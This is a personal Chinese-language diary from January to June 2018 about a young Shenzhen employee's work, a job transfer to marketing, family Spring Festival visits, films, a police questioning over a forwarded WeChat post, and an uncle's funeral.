什么是真实？你看到什么，听到什么，做什么，和谁在一起，有一种从心灵深处满溢出来的不懊悔，也不羞耻的平和与喜悦。by 《无问西东》（Forever Young）
一听四年没见的高一同学 CXY 要从中山过来广州玩，再次叫了一辆 23:oo 的顺风车与之会师。多年未见，发现他文静许多，也路痴许多，愿他出门都有引路人。
友不在多，有你则行。珍重，老铁们，是你们给我了真实的勇气。
最后，祝 ZHB 生日快乐，愿你的「日子」多“姿”多财。
02:002018-01-22
少一些牵强（qiǎng）附会，多一点顺理成章。
2018-01-23
好困。
23:422018-01-24
¥1639：BOSE QuietControl 30 无线耳机 耳塞式蓝牙降噪 香港进口 天猫国际官方直营 花呗分期 ¥136.58 X 12 期 (免手续费)
我的天哪，我在干什么，一个耳机值得 1639 元吗？Shut up and take my money.
08:20希望你在今后的岁月里，不要放弃对生命的思索，对自己的真实。
这个时代缺的不是完美的人，缺的是从心里给出的真心、正义、无畏和同情。
我慢慢明白了我为什么不快乐，因为我总是期待一个结果。看一本书期待它让我变深刻，吃饭游泳期待它让我一斤斤瘦下来，发一条短信期待它被回复，对人好期待它回应也好，写一个故事说一个心情期待它被关注被安慰，参加一个活动期待换来充实丰富的经历。这些预设的期待如果实现了，长舒一口气。如果没实现呢？自怨自艾。可是小时候也是同一个我，用一个下午的时间看蚂蚁搬家，等石头开花，小时候不期待结果，小时候哭笑都不打折。——马德《允许自己虚度时光》
人把自己置身于忙碌当中，有一种麻木的踏实，但丧失了真实，你的青春也不过只有这些日子。
文明其精神，野蛮其体魄。
记下这么多美好的句子，突然对来路多了几分盼头。
23:402018-01-25
亲爱的**庭先生，在这个特别的日子，祝您生日快乐，一生平安！by
中国平安亲爱的**庭，生日快乐。by
支付宝太平人寿温馨提示：尊敬的**庭先生，您好！今天是您的生日，太平人寿全体员工祝您生日快乐！祝愿您身体健康，阖家幸福！by
中国太平作为一个新人，我居然在年终述职中用了「不耻下问」。
15:30不耻下问：不介意向不及自己的人请教。
刚刚带一个妹子去小卖部吹头发，因为当她洗完澡，室友都睡着了。
23:362018-01-26
听到京东的快递小哥叫我「钟老板」，心里瞬间美滋滋，五星好评。
09:33外婆不告诉我们她的生日，是怕走漏了风声，被阎罗王知道了。
19:55微信安卓测试版 6.6.2 有一个新变化：自动给中英文之间加空格。这简直是我这个排版强迫症的福音。
23:482018-01-27
Bose QuietControl 30 到了。
11:29心无旁骛，乐在其中。其实戴久了耳朵会疼。
在床上瘫了一天，腰疼。
00:322018-01-28
朋友约我去凤凰山放风筝，欣然前往。
公车急停，才发觉没系安全带。作为一个珍贵的存在，安全和健康始终摆在第一位。
14:25来如风，去匆匆。北风那个吹，差点吹走了风筝。
23:302018-01-29
开通了一个月的 QQ 音乐付费包（¥7.6），还是不能在线播放《24K Magic》，必须下载。Fuck。
14:35突然肚子痛，腹泻。除了崴脚，最怕肚子痛。
20:06痛到嗷嗷叫，去社康打了止痛针才好受些。医生诊断是急性肠炎。
2018-01-30
睡了一觉，病情好转，肚子偶尔会痛，但已经是可以忍受的痛。
向几个微信群散播了我肚子疼的消息，亦如控制不住告诉大家我买很贵的降噪耳机，这属于分享还是过度求关注。请逐渐降低社交需求，静心充实自己。
00:122018-01-31
基本康复，大吉大利。
冷雨夜，不能打篮球，不想打开笔记本电脑学习新技能，下班后就一个劲地玩手机。一边焦虑，一边继续。
23:312018-02
2018-02-01
日志两百天，文风已丧胆（丧失了大胆），越来越写不出真实的感觉。
12:50入耳式的 Bose QC 30 戴久了会疼，心塞。
00:132018-02-02
学会了两句拒酒辞：
- 感情好，能喝多少是多少
- 感情到了位，不喝也陶醉
2018-02-03
时间像沙，不觉中慢慢的长大，懂得除了童话，还有伤疤。
When given the choice between being right or being kind. Choose kind. by 《奇迹男孩（Wonder）》
01:082018-02-04
动心很容易，只要看到对方的美好，就能感受到心正在跃动；但爱一个人却很难，因为那代表所有他的好与不好，你都愿意包容与欣赏。 by 《One Day》
下午去「丑小鸭专业发型」理了个 51 块钱的头，没有感受到这个价位应有的服务和体验。
然后与 8 位在深圳工作的大学同学打火锅（CHQ 因故缺席），希望他们不要再胖下去了。
22:442018-02-05
临近春节，没有归家似箭的心情。我是一个不想家的孩子，难道是因为 10 岁开始在外读书的缘故。
00:122018-02-06
越是娇惯，越不能纵容。23:36`
2018-02-07
早点睡觉，很有必要 / 非常重要。22:09 入炕，03:22 自然醒。室友的咳嗽声，上铺的磨牙声，外面的机器声，声声入耳。
04:302018-02-08
大吉大利，明天是鸡年的最后一天班。
00:092018-02-09
明早回老家，心情呼啦啦。
01:362018-02-10
家家有本难念的经，还好我有颗强大的心。
00:002018-02-11
好吃的家常菜，不多吃一碗饭不罢休。
22:262018-02-12
「糯米团子」是一种「糖」加「糯米」的油炸食品，佐以芝麻、花生和酒。刚出锅的煎堆（客家话）滚烫香甜，仔细听，它们会在嘴巴里油滋滋地绽放自我。
自家养的鱼虽然很好吃，但从小不爱吃，因为鱼刺经常偷偷来我的喉咙「躲猫猫」。事到如今，我已不怕鱼刺，我怕再不吃，就错失了这美味。
最后应景拜个早年：祝朋友们日子香香甜甜，银子年年有余。
过年期间，忙里忙外，没得午休，睡了。
00:012018-02-13
拍照是我春节的主要娱乐方式。10 分钟拍 100 张采花大盗的照片。不容易，不放弃。
两个外甥回来了，家里更热闹了。
00:512018-02-14
- 上午去山顶拜关公爷。景色秀丽，很适合拍照
- 下午去隔壁村的外婆家，也拍了很多照
- 晚上打牌（斗牛），输了 18 块，靠
- 父亲让我教他怎么在微信上发图片，笑
- 没有情人的情人节，心儿才有停歇，妙
2018-02-15
幽默风趣的庭哥，新年快乐。955 愿你事业顺利，爱情如意，家庭幸福，身体健康。也愿你往后的日子白天有说有笑，晚上睡个好觉。新的一年贪吃不胖，懒惰不丑，愿你的温柔得到善待，深情不被辜负。更愿你从此一生被爱。希望全世界独一无二的你，生活比蜂蜜儿甜，笑容比月亮儿圆，梦想比月光儿远。好像我的愿望有点多了，哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。新年快乐乐乐乐乐乐乐乐。by ZLJ
收到第一个微信压岁钱 ¥66.66：新春快乐，恭喜发财，2018 发发发。一样一样，不论在哪，在做什么，身体健康是福，新年快乐，身体健康，万事如意，狗年财运旺旺旺。by ZT
老散，新年快乐！by ZZH
拜年啦！拜年啦！[發][發]。祝庭姐新年快乐~[红包][红包]。愿君在[小狗]年里，万事顺意，一切顺利，幸福安康。by XCY
收到第二个微信压岁钱 ¥16.80 by TSW
廷（庭）姐，狗年行大运！打麻将赢钱多多[發][發][發] by LGL
微信有 320 位好友，大年三十一共收到 6 位友人的「非群发」新春问候， Ta 们值得我铭记。毕竟我从来不会主动去问候 Ta 们。
鸡年大吉，狗年大利。怀着感恩，成为更好的自己。
01:162018-02-16
啊哥，新年快乐，恭喜发财[呲牙]。祝啊哥新的一年：一帆风顺！工作顺利，万事如意，狗年行大运[發][發][發]。希望啊哥早点找到漂亮的女朋友哦[奸笑]。by ZGR
庭姐，新年好，新年快乐呀。by YZM
新年好（¥8.88）。by ZLZ
大年初一共收到 3 位友人的「非群发」新春问候。有人记得，真好。
00:252018-02-17
年初二，姐姐们陆续回娘家了，最大的感受是姐姐们的孩子真好玩。
23:122018-02-18
预判童趣发生的每一个瞬间，然后用相机定格它，这是我与晚辈相处时的重要使命。精彩一刻，错过就很难复现。
2018-02-19
一年过去了，我的好奇心更旺盛了，父母的身体却没那么旺盛了。经过大半辈子的苦心经营，老爸的鱼塘仍未实现盈利。要么自己吃，要么送给自家人品尝。今时趁子女还在，人手充裕，便把塘水放尽，稍为修葺。
23:212018-02-20
今天（初五）回到深圳，没有不舍，没有塞车。
23:212018-02-21
同事妹子凌晨 01:34 到深圳北站，让我去接她。
23:30等了一个钟的公交。
00:00顺利完成护花任务。
03:002018-02-22
孔子曰：「友直，友谅，友多闻，益矣。」这也是对我自己的要求。
2018-02-23
白天上班研究「科学上网」之术，晚上下班捣鼓「庭说博客」之路。不去想着实现「经济自由」，整日沉迷在自己的世界里，迷茫并快乐着。
00:042018-02-24
今天上班都在研究如何用 ASCII 画图。下了班陪同事去吃螺蛳粉，咸湿极了，近期都不想再吃了，宁愿自己吃，也不将就同事的口味。晚上看了《银翼杀手》（1982 上映），说实话，没看明白，应该是我看得不够认真。
01:042018-02-25
刚看完《银翼杀手 2049》（2017 年上映），爽。下午第二次和朋友一起去凤凰山放风筝。夕阳下，我感到很舒适。
00:18All those moments will be lost in time, like tears in rain. Time to die. by Roy Batty
2018-02-26
赋闲一天，舒服地窝在寝室里看电影，是一件非常享受的事情：
- 白天解读《银翼杀手》（Blade Runner），意味深长
- 晚上欣赏《敦刻尔克》（Dunkirk），又臭又长，没看明白
- 把翻墙的梯子切换为 Shadowsocks-libev，开启 Google BBR 之后，提速明显
- 噫吁嚱，危乎怪哉。与天斗，与地斗，与墙斗，其乐无穷
01:06
2018-02-27
我深深地感到自己的无知，所以我总想不停地充实自己，但是手机为什么这么好玩。青春时日不多，目标尚不明确，Come on。
23:502018-02-28
降噪耳机 Bose QuietControl 30 电池指示灯（红灯）常亮，官网查询显示「充电错误」。Damn it. 申请退货退款中，希望可以成功。
09:592018-03
2018-03-01
臭脚想念老冰棍的味道了（打球崴到脚，需冰敷）
19:31Someone 关切地问我需不需要消炎药，需不需要 Ta 帮我打好热水，笑哭
21:38《银河护卫队 2》（Guardians of the Galaxy Vol. 2），除了搞笑，还有感动
2018-03-02
一觉醒来，脚踝并没有想象中的那么痛
08:24与 Bose QuietControl 30 相处一个月，今日将其寄回天猫国际官方直营店。说不上很喜欢，因为耳朵戴久了会痛
09:56元宵节，公司特批全员提前两个钟下班
16:00Unbelievable，草榴社区 的搜索功能不限时段了
01:262018-03-03
好看的电影总是「短暂」的。当看到《三块广告牌》（《Three Billboards Outside Ebbing, Missouri）的进度条已经走到 95%，故事却还没「讲完」的时候，我是多么想「掐死」导演
19:32Anger begets greater anger（愤怒只会招致更大的愤怒）
唯有经历过真正的伤害和真正的失去，人和人之间才可能产生真正的理解
00:242018-03-04
在观赏《攻壳机动队》（Ghost in the shell）的过程中，目光完全离不开 Scarlett（斯嘉丽）肉色的热光学迷彩服，捂脸。
21:162018-03-05
Yesterday You Said Tomorrow, so just do it. 别明天，就现在。
有一个女孩，每次路上相视，皆能看到她的微笑。我不知道她的名字，她可能也不知道我的名字，所以无声的招呼是我们的默契。这种感觉十分美好，如迎面春风，似百花盛开。没忍住，今天去打听了她的名字。
有一个女孩，今天「梦到和你去吃饭，然后路上被抢劫了，然后我俩把他制服了送给警察了」。
有一个男孩，他很少做梦，眼睛一闭一睁就八点钟了，说的就是我。
01:042018-03-06
今天，不少朋友不约而同地想来我司工作，下至小学同学，上至大学同学。心里挺没底的，怕他们来了不喜欢这里，又怕他们找不到更好工作。
在帮助两位同门师弟修改简历的过程中，顺道写了一篇《简历润色小贴士》，警醒求职者简历容易出现的小毛病。
博客自动发布系统失效了，修复失败。不过把 Fān Qiáng 教程 更新了。
00:592018-03-07
近段时间，每天睡前和醒来都会打开 MOZIK（一个极简的情绪音乐电台 App），因为 QQ 音乐 / 网易云音乐越来越不懂我了。
MOZIK 的每一首音乐都是资深编辑精挑细选出来的，能让我更好地发现陌生而美好的音乐。
这个时代不缺乏信息，反而信息是过剩的，导致我们花大量的时间去排除信息，因此我想做一个简单的数字音乐产品，做精品信息的提供者，解决信息过载的问题。美好的世界应该具有流动的音乐和冷静而多彩的审美。by MOZIK 创始人兼 CEO 李杰出
00:452018-03-08
市场部（Marketing）的品牌负责人想让我过去工作。鉴于我空洞浮夸地表达能力，不足以在文字上塑造出一个生动的品牌，所以我没有当场答应调岗，并请求她对我进行短期考核，也好让我对自己摸个底。
我受够了上一份工作对文字的出卖，过于不诚实的商业写作让我心力憔悴，干了几个月后仓惶离场。这是另一个让我犹豫的原因。
我并非科班出身，偶然和文字结缘，使我偏离了工科的轨道。不出意外的话，我将再次「出轨」。
00:402018-03-09
这短短的一生，我们最终都会失去。你不妨大胆一些，爱一个人，攀一座山，追一个梦。by《大鱼海棠》
击中我的是鸡汤还是砒霜？
叫了顺风车，风风火火地前往珠海庆生。
18:54旧微信三百多人，就屏蔽了一百多人，于是新开了一个微信号。
大事不好，今晚他们要造反了。
23:46操，破了，8820。
00:032018-03-10
在珠海玩了两天，尽 Xing 而归
- 海鲜美食街不过如此
- 圆明新园是个摄影的好地方
- 看情侣路海岸线上的渔夫捕鱼方式比看渔女有趣
00:35
2018-03-11
庭勃士，24 岁生日快乐。
00:002018-03-12
电网生活委员 XJQ：今天是污里庭姐的生日。
11:08- 收到 LHJ 的祝福
08:18 - 收到 TSW 的祝福
09:04 - 收到 FXQ 的祝福
11:06 - 收到 ZJQ 的祝福
22:01 - ……
Surprise，居然还有不少人记得我的生日。记住 Ta 们给 24 岁的我带来的感动，晚安，Guys。
00:382018-03-13
24 岁的第 2 天中午，又是一个仓促的午觉。醒来不愿去上班，刷刷微信赖赖床。
又被拉进「** 群」，我已经数不清退了多少次，因为我很讨厌里面某些人无休无止的抱怨。微信就不能让用户有拒绝入群的权利吗？
这次他们在讨论「广州供电局 2 名员工的不雅视频」，出于好奇，我在 Twitter 上搜索了相关信息，好死不死，随手转发了其中一条评论到微信群，连内容都没看清，所以当时并没有太在意。
看完 Twitter 的全部相关信息，发现不雅影像系伪造，也将这一辟谣信息告诉群成员。
喧嚣一场过后，班还是得上。
16:57 接到 95050 的电话，问我是不是 xx，是不是在 xx 上班，是不是在「xx 群」发表了「对党和国家领导人」不当言论……请你来 xx 派出所一趟，没空的话我们会派警车去接你。
一开始我当真了，立刻退群。然后发现不对劲，为什么不是派出所的电话打过来？因此暂且判定为诈骗电话。
17:50 一个深圳移动的私人号码打过来，未被标记为诈骗电话，再次问我自己过去还是他来接我去派出所。
我开始纳闷了。他们的消息也太灵通了吧，知道我有什么微信群（还是刚刚加入的），知道我在哪上班……但是我根本想不出这个诈骗团伙的牟利点在哪里？仅仅是让我去派出所出丑？
忐忑地吃完晚餐，警车来了。
18:27 另外一个深圳移动号码打电话给我，响铃 13 声，没接到，也不敢回拨，侥幸地认为警车只是恰巧来这里办其他事情。
18:41 电话又打来了，说警车就在门口，出来吧，别紧张，只是问你一些话。我知道逃不了了，于是让室友 LMZ 陪我一起去局里壮壮胆。
这是我第一次做警车。车上只有一个开车的警察叔叔，后排是无锈钢座椅，在昏暗的车厢里散发出冰冷的光。但是开车叔叔并不冰冷，导致我的情绪比较平静。他说是网警下达的命令，核实不当言论的真实性。
来到派出所，警察问什么，我答什么，没有严刑逼供，另外一位警察还呵斥我严肃一点。做完笔录，画押；写完保证书，画押……罪名「传播不当言论」。
盘查完之后，警察把笔录和保证书呈报给上级。发现有疑点，让我重新做笔录。这一次，他们发现我除了传播不当言论之外，还给不雅视频辟了谣，并及时退群了。
但是警察反复盘问我是不是说了不该说的话，我始终想不起来。看了笔录中的那段「不当言论」后才勉强恢复了一点点记忆。
为什么我不记得那段「不当言论」，我猜睡眼惺忪的我应该是被他的文字游戏迷惑了。他能把各种官话融入时评里，有力反讽了当局，颇有文采，转。我认同的是它的文字技法，而不是文字内容。罢了，这些都是后话，是我没有认识到当前言论环境的恶劣。说句自私的心里话，我一点都不在乎中国的政治制度，我只在乎我能不能在拥有自由的互联网。
为此，我付出了惨痛的代价，写了 4 份保证书、2 份笔录和 1 份训诫书才得以在 22:24 走出派出所的大门。
鬼知道这三个半钟我经历了什么。不过也不是一无所获：
- 在中国，一切行动听党指挥
- 网络言论审查就在身边，刀子嘴，打断腿
- 在派出所不能拍照、录音、录像……
- 警察问话时要严肃，纵使你是勇于承认「错误」的乐天派
- 爱笑的男孩运气都不会太差
02:51
2018-03-14
「喝茶」以后，不到八点就醒了。昨晚可是 3 点多才睡的，这茶够提神的。
2018-03-15
315 打假，我觉得要给自己两拳，因为我把日子过得假惺惺。
01:01宇宙的边界是什么，肯定有个特别的答案。但是还有比没有边界更特别的答案吗？同样，人类的潜力也不会有边界。我们都是与众不同的。无论生活多么艰辛，你总会有自己的方式发光。生命不息，希望不止。by 《万物理论》
年轻就是要不信邪，拒绝心灵软骨病，年轻就要有情趣，拒绝乏味毁自己。by 李敖
2018-03-16
受市场部之托，周末留在公司美化 PPT。第一次接这么大的设计项目，心里没底，硬着头皮上吧。
01:152018-03-17
睡到 10 点多，起床和老董吃饭。回到宿舍没有午休，美化 PPT 到 21 点多。出去吃了一碗小面。洗完澡想继续伏案疾书，被一个叫「辣母洋子」的搞笑短视频吸引了，看到现在。
01:052018-03-18
下午的时候，ZXT 和 CT 来我这山旮旯打球。几个月不见，他们的气色不见好转，特别是训涛，满脸的痘痘。我的朋友们呀，身体要紧。
PPT 还有最后一节没有优化，先睡吧。看了这么多关于 PPT 的教程，一摸鼠标脑子空白。纸上得来终觉浅，绝知此事要躬行。
01:152018-03-19
上级和上上级都同意我的转岗要求了，心中又燃起了工作的热火，因为设计让生活更美好
00:12我不知道能做什么，但我知道不喜欢做什么。
2018-03-20
和室友 LMZ 打完球后，一起为产品画册加班到十二点半，有意思。
01:122018-03-21
日子过得很快。
00:342018-03-22
没有规划与目标的人不适合做《个人绩效承诺书》（Personal Business Commitment），太痛苦了。
00:262018-03-23
来公司的第 250 天，我转岗来到市场部。不用面对冷冰冰的机器和数据，上班有激情多了。
晚上去理发，洗剪吹加海藻面膜，50 元人民币，难道就没有靠手艺营生的理发店吗。
看了叶点解《大佛普拉斯》的影评，心里久久不能平静，绝望的气息，闷在胸口。
明天早上和 ZGM 骑车去塘朗山透透气，16 公里，预计需要一个半钟，所以今晚得早点休息。
00:052018-03-24
得益于经常有运动，用摩拜单车骑 16 公里，竟没有疲惫的感觉。
塘朗山居然有活生生的猴子，但是它们真的很凶。在近距离拍摄的时候，差点被抓伤，阿门。
今天和大学同学一起玩王者荣耀（五黑），虽不懂，但充满欢乐。真怕自己上手了沉迷下去，罪过。
00:432018-03-25
王晴颖：
- 欲取之，必先予之
- 让灵魂保持欢愉，思想保持精进
- 最好看的长相，永远是纯然干净的那一种
- 要有良人为伴的希冀与感激，也要有孤勇的胆识与底气。能群，能孤，这才是成熟的标志
- 像去寻找爱人一样，寻找自己所爱之事，秉此执念，与它共老。这比找到所爱之人，更幸运、更重要
00:48
2018-03-26
要想实现经济自由，第一步要做的就是提高执行力。
今日上班不知所措，下班打球状态不佳。
00:192018-03-27
打完球就不想学习，但是每天保持运动才能让身体处于健康的状态。
01:092018-03-28
上班充实的感觉，真好。
矢量绘图软件 Adobe Illustrator CC 2018 竟然在我的笔记本上跑得起来，真好。
又吃夜宵，又熬夜，真不好。
01:452018-03-29
不擅长多线程工作，容易被外物吸引。要让工作有条不紊地进行下去，还需戒噪戒闹。
得知 LMZ 还有一个半月就要辞职了，我得抓紧向他「取经」，一本关于 Ai 的「经书」。
熙熙攘攘，来来往往，迎来了我的第三任上铺。Damn it，比我帅
01:382018-03-30
忙忙碌碌又一天，不过这是一种踏实的麻木感。
Windows 7 重装 Windows 10 失败，电脑开机黑屏，BIOS 都进不去。联想的台式机，磨人的小妖精。
回到宿舍本想积极向上，学学 Ai，一看到室友们在玩手机游戏，没忍住，于是王者相见，打成一片。
01:402018-03-31
今天去深圳会展中心参观「机械制造工业展览会」，在地铁上看到情侣们旁若无人地拥抱着，亲吻着，我认为 Ta 们侵犯了公共空间，没考虑到广大单身男女的感受。
甜蜜的时光总是短暂的。前些日子，我在等地铁的过程中，目睹了一对年轻夫妻感情破裂的片段。
但我又何必如此伤感呢，恋人本来就是要分分合合的。
2018-04
2018-04-01
QQ 飞车是我玩的第一款网络游戏，那时是初中。如今，腾讯把它复刻到手机上，让我找回了当年自由飞驰的感觉，结果公交坐过了 9 个站。
22:182018-04-02
加班到现在，一位满头黑发的中年同事说我该好好保养。
22:28沉迷在 QQ 飞车里不能自拔。
00:482018-04-03
又加班到现在。
22:25为什么要熬夜。
01:022018-04-04
早上匆匆洗漱完，出门前照例把工牌挂在脖子上，瞬间惊觉这工牌犹如一具枷锁（古时候拘系犯人的刑具），异常沉重。是的，我开始讨厌这份工作。
傍晚的时候，总监强硬地让我回去加班，我说我要回老家，票已经买好了，她回了句：「好吧」。
00:222018-04-05
出发，回老家。
08:40一位 8 年未见的老同学 WYR，突然微信上找我聊天，心咯噔一下，难道他要找我借钱。因为近期有两位初中男同学找我借钱，也是 8 年未见，一位还了，一位跑路了。意料之外，这一位是想我了，纯粹找我叙叙旧，祝他北漂顺利。
回到家一进门就看到燕子穿梭在客厅里，这让我这个游子感到非常惊喜，我已经很久没有见到燕子在我家筑巢的场景了。
似曾相识燕归来，外婆依旧很硬朗。
01:102018-04-06
半夜鸡鸣。
01:23祭祖的时候，母亲总是口误，让先祖保佑我找个男朋友，母亲是不是对我有什么误会。
白天扫祖墓，晚上扫资讯。
02:042018-04-07
清明假期一晃而过，不想返回职场，从来没有这么厌倦。不过，我发现，打扫宿舍是一项非常解压的活动。
00:332018-04-08
加完班，回到宿舍学习 Adobe Illustrator 到 23:30。想念以前天天晚上去打球的日子。
01:192018-04-09
又一次加班到 23:30。握了一天鼠标，右手腕开始疼了。
00:492018-04-10
从 3 月 22 日调到市场部后，就没有去打过篮球，今晚终于如愿了。
00:492018-04-11
终于把 2018 CUW 的展会海报敲定了。顺祝母亲 55 岁生日快乐。
00:152018-04-12
疯狂打篮球，疯狂学穿搭。
00:102018-04-13
疯狂被上级加任务，疯狂在优衣库买衣服，疯狂熬夜。
01:532018-04-14
这个周六是废了：睡懒觉，玩飞车，暴饮暴食。
如此不爱惜自己的身体，趁着夜色，在支付宝买了一款百万医疗险，年付 ¥129，保额 600 万。拖拖沓沓，总算把保险三件套（意外险 + 重疾险 + 百万医疗险）凑齐了。身体出了问题，就不用去网上筹款了，也不会拖累整个家庭。
01:072018-04-15
拥有的都是侥幸，失去的才是人生。by 《比海更深》
美好是一种甜食，它令人愉悦，真实却常常带着苦味，让人不适。
2018-04-16
帮同事 P 图结束。
00:56刷完即刻睡觉觉。
01:452018-04-17
穿了新鞋子，走路都特别小心。
08:30因为要去上海参加展会，所以坐上了人生的第一次坐飞机：中国东方航空 MU5336，座位号 59 A，最后一排，靠窗。出发前，紧张得排泄功能不正常。
旁边坐了一位意大利的帅哥，因为机场的「中国移动」没有信号，所以我给他开了个热点（起飞前）。
航班延误，10:30 的飞机，11:50 才起飞。
12:00 加速。失重，心慌，有种玩跳楼机的感觉。
12:04 飞入云端。白云像一朵朵棉花糖，非常诱人。
13:45 安全着陆。空姐好甜。
2018-04-18
上级说我穿着不够正式，举止不够稳重。对于我这个爱玩随性的老男孩，有点难改。
00:512018-04-19
展会结束后，5 年未见的高一老友 LZ 带我去上海滩散步。让我吃惊的不是步行街的人流量，而是眼前熟悉而又陌生的 Ta：
- 梦里和醒来都想着升职加薪
- 目标做一个喜怒不形于色的女强人
- 不断强化自己的主观意志，排除异己
在我的印象中，高中的 Ta 欢快而活泼，现在俨然已成为一个「社会人」，满身「利」气。或许是我过于理想主义，但我真的不想被这个金钱世界同化。晚安，世界和 Ta。
00:392018-04-20
吉祥航空 HO 1201 航班，靠椅太直，极不舒服，还好准时起飞。
14:36突然感觉，没什么值得记录了。平庸的一天，懒于去实现自己的目标。
01:092018-04-21
《唐人街探案 2》没有第 1 部精彩，有些镜头强行塞入笑点，尬的不行。
2018-04-22
上午在宿舍躺了一天，I want to fuck myself.
下午和国木去放风筝。相比于我，他可积极向上了。
为了认识通勤途中的花花草草，他每天早起半个钟。要想和这些「植物人」成为朋友，第一步就是记住 Ta 们的名字。借助识华小程序，他已经认识大半了，不怕将来的孩子问起这些「朋友」的名字而哑口无言。
2018-04-23
朋友 DTT 经常被前男友在公司门口「围追堵截」。这种「连绵不绝」的病态报复行为，对双方都没有好处。既然二心不同，难归一意，不如解怨释结，更莫相憎。一别两宽，各生欢喜。
00:382018-04-24
我应该少一点吐槽，把时间花在精进自己上。等翅膀硬了，就可以远离这个冗繁的公司。
00:542018-04-25
突然想到没写日记，拿起手机欲言又止。
00:512018-04-26
我喜欢把事物排得整整齐齐，但是这样并不能让我成为一个有想法的设计师。虽然灵感不多，但是我对美的追求是认真的。慢慢学习，多多思考，时间会给我答案。
00:462018-04-27
踏入花甲之年的父亲，牙齿开始啃不动了。肉必须用高压锅压烂才能吃，青菜只能生吞。
00:132018-04-28
父亲说牙齿的脱落与镶嵌是交错进行的，补完一口牙大概需要 6 年的时间。
父亲如果喝粥，就可以把肉和菜切碎，一起放进去煮烂。可惜父亲又不爱喝粥，因此营养跟不上，瘦了许多。
希望明天的身体检查，安然无恙。
01:462018-04-29
感觉人活得最无忧无虑的是刚工作那几年，对自己薪水要求不高，反正觉得还有涨幅，尝试一个新鲜的行业，觉得年轻有重新开始的资本。到了 30 岁左右，就总觉得胸口压着什么，开始焦虑婚姻、焦虑孩子、焦虑父母，天地万物总有一件事牵动你心，让你辗转反侧，夜不能寐。
其实我现在也焦虑得不得了，在追逐名利与平淡安生之间游离。
2018-04-30
今天去参加了中国太平保险控股有限公司（以下简称「太平」）的高级经理晋升启动会，发现太平为了业绩真的是不择手段。
一进门就摆着 5 个大海报，写着「性格色彩分析」。这是一种根据出生日期来推算出你的命格，进而推销太平的产品。太平的保险代理人也让我做过类似的测试题，非常扯淡。
没办法，中医和迷信是中国的「瑰宝」，借此可以收割一波又一波的韭菜。用这种「宿命论」的方式哄骗客户，太平的高管们心里太平吗？
02:102018-05
2018-05-01
西湾红树林湿地公园退潮后，弥漫着一股刺鼻的臭味。不过只有不沿着海边走，这个公园挺适合散心的。
00:092018-05-02
近来迷上手机游戏 QQ 飞车，沙发上玩（一整天），公车上玩（坐过站）……荒废时间会产生罪恶感，因为我想成为更好的自己。
00:282018-05-03
根据「需求层次理论」，当满足了生理和安全上的需求，下一个就是社交需求。我不能免俗，他人的认可让我感到有价值活在这世界上。
00:352018-05-04
职场上不够稳重，球场上不够稳定。不要一成不变，马上开始改变。Go to sleep now.
00:322018-05-05
希望之物，永不凋零。00:42`
2018-05-06
这两周甚是颓废，下周实行振兴计划：下了班，打球到 21:00，回到宿舍休息一会洗澡。洗完澡打开电脑写东西，学技能，总之不能玩手机。23:00 后刷牙，玩一盘 QQ 飞车，刷一会资讯。最后写写日记，争取在 00:00 前睡觉。
22:472018-05-07
厌烦工作，厌烦上级，厌烦这个没有审美的公司。
23:472018-05-08
今天有两个念头：
- 突然想追求大学同乡校友 ZYF，因为她的声音好好听
- 突然抑制不住想学习 Adobe Illustrator 的冲动
00:04
2018-05-09
李涛老师把光和色关系讲得很透彻。
00:042018-05-10
部门要新来一个设计师小妹，好期待。
23:412018-05-11
室友 LMZ 辞职了，要是他在，我就可以多多向他请教平面设计相关的问题了。祝他高飞。
23:542018-05-12
一个妹子说我 QQ 飞车的技术不错，但是我比不赢她，于是我苦练「甩尾漂移」到现在。
01:442018-05-13
一起来深圳打拼的有缘人 ZYF 是我的高中兼大学校友，学生时代见过几次面。今日和她一起吃饭，感觉她没有变，脸上充满「青春」的气息。说话慢条斯理，声音很有磁性，如果当主播的话，她可以让你的耳朵怀孕。
2018-05-14
部门新来的女设计师虽然比我大 8 岁，但是容易相处，而且她会毫无保留地教我。
00:062018-05-15
上周五送走了同事兼室友 LMZ ，今天得知前部门的两位小姐姐（YQ 和 WQ）也要辞职了。人生最恨离别苦，他乡难得遇故人。好不容易和 Ta 们打成一片，转眼就要送走一波，心有戚戚然。
00:082018-05-16
小龙虾是一种又贵又不好吃的高盐食物，对健康和钱包非常不利。
00:342018-05-17
Weekly Review 的时候，才发现今天没写，到底谁偷走了我对记忆。Life is hard, and I have my blog.
2018-05-18
在已经中了一瓶「乳酸菌饮品」的情况下，我跟 Ta 打赌：信不信再来一瓶？Ta 说如果再来一瓶就亲我一口。结果 Ta 输了，我哭了。因为 Ta 是男的。钢铁直男，绝不「曲」服。
00:412018-05-19
伯父（爸爸的哥哥）因为白血病走了。他是一位憨厚肯干的老实人，未享清福，驾鹤西去。
22:372018-05-20
已对《复仇者联盟 3：无限战争》（Avengers: Infinity War）这种大片产生了审美疲劳，想看太空题材的好电影。
00:422018-05-21
喜欢慢节奏的工作，因为好的设计需要时间打磨，注定少不了上级的「斥骂」。
00:242018-05-22
今天被上级怒吼了，不过没影响到心情。
00:202018-05-23
一将无能，累死千军。胡乱决策，遗祸无穷。
00:312018-05-24
无题。
2018-05-25
今天驱车回到故土，去见伯父的最后一面。见到逝者，大家倏地痛哭起来，我却流不出眼泪。灵堂的两边写着「严父倾逝，孝子长悲」，我觉得写短悲更符合当下的情景：
- 一些人在斗地主（小额赌注）
- 一些人围坐在八仙桌谈笑自若
- 一些人在默默嗑瓜子（比如我）
大家好像忘了这是一个悲伤的时刻，我无法理解。月光下，除了伯父冰凉的身体，还有冰凉的守夜人。或许，大家是在「庆祝」伯父终于安宁了，毕竟现世满是残酷。
真正的死亡是世界上再没有一个人记得你（The real death is that no one in the world remembers you）。
01:002018-05-26
伯父入土为安，大姑笑口常开，外婆身体健康。
23:332018-05-27
无题。
21:512018-05-28
拥挤的公车，庸碌的乘客，永不凋零的功名利禄。
眼镜搞丢了，终于有理由去配一副新的了。
23:432018-05-29
感谢 JYF 和 YQ 陪我买正装。
2018-05-30
白天工作瞎急粑忙，晚上不想加班，于是打打球，解解闷。
神算子 LS 辞职了，他应该没有算到这一步。
00:042018-05-31
挑一双皮鞋真的好累啊。
00:182018-06
2018-06-01
唱 K 的时候，竟没有一首歌拿得出手，失败透了。
23:112018-06-02
梦见自己是一位钢琴演奏家，在一次演出中，突然忘记指法，脑子一片空白。
09:02配镜成功，宝岛眼镜（深圳南贸店）的验光师（李双）很专业。
23:402018-06-03
